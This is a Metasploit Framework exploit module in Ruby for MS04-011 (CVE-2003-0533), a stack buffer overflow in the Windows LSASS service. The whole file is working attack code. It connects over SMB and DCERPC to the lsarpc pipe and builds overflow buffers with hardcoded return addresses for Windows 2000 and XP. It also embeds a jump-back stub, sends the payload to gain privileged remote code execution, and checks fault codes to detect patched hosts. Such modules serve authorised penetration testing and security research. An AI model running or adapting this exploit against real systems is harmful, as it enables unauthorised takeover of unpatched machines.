##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  #
  # This module exploits a vulnerability in the LSASS service
  #
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the LSASS service, this vulnerability
        was originally found by eEye. When re-exploiting a Windows XP system, you will need
        need to run this module twice. DCERPC request fragmentation can be performed by setting
        'FragSize' parameter.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0533' ],
          [ 'OSVDB', '5248'     ],
          [ 'BID', '10108' ],
          [ 'MSB',   'MS04-011' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Automatic
          [
            'Automatic Targetting',
            {
              'Rets'     => [ ],
            },
          ],
          # Windows 2000
          [
            'Windows 2000 English',
            {
              'Rets'     => [ 0x773242e0 ],
            },
          ],
          # Windows XP
          [
            'Windows XP English',
            {
              'Rets'     => [ 0x7449bf1a ],
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 13 2004'))
  end

  def exploit

    connect()
    smb_login()

    handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])
    print_status("Binding to #{handle}...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle}...")

    print_status('Getting OS information...')

    # Check the remote OS name and version
    os = smb_peer_os
    buff = ''
    case os

      # Windows 2000 requires that the string be unicode formatted
      # and give us a nice set of registers which point back to
      # the un-unicoded data. We simply return to a nop sled that
      # jumps over the return address, some trash, and into the
      # final payload. Easy as pie.
      when /Windows 5\.0/
        str = rand_text_alphanumeric(3500)
        str[2020, 4] = [targets[1]['Rets'][0]].pack('V')
        str[2104, payload.encoded.length ] = payload.encoded
        buff = NDR.UnicodeConformantVaryingString(str)

      # Windows XP is a bit different, we need to use an ascii
      # buffer and a jmp esp. The esp register points to an
      # eight byte segment at the end of our buffer in memory,
      # we make these bytes jump back to the beginning of the
      # buffer, giving us about 1936 bytes of space for a
      # payload.
      when /Windows 5\.1/
        str = rand_text_alphanumeric(7000) + "\x00\x00"
        str[0, payload.encoded.length ] = payload.encoded
        str[1964, 4] = [targets[2]['Rets'][0]].pack('V')
        str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload
        str[6998, 2] = "\x00\x00"
        buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)

      # Unsupported target
      else
        print_status("No target is available for #{ os }")
        return
    end

    stub = buff +
      NDR.long(rand(0xFFFFFF)) +
      NDR.UnicodeConformantVaryingString('') +
      NDR.UnicodeConformantVaryingString('') +
      NDR.UnicodeConformantVaryingString('') +
      NDR.UnicodeConformantVaryingString('') +
      NDR.long(rand(0xFFFFFF)) +
      NDR.UnicodeConformantVaryingString('') +
      NDR.long(rand(0xFFFFFF)) +
      NDR.UnicodeConformantVaryingString('') +
      NDR.long(rand(0xFFFFFF)) +
      NDR.UnicodeConformantVaryingString('') +
      rand_text(528) +
      rand_text(528) +
      NDR.long(rand(0xFFFFFF))

    print_status("Trying to exploit #{os}")

    begin
      response = dcerpc_call(9, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      print_status('Server did not respond, but that should be ok...')
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      case $!.fault
      when 0x1c010002
        print_status('Server appears to have been patched')
      else
        print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)
      end
    end

    # Perform any required client-side payload handling
    handler
  end
end
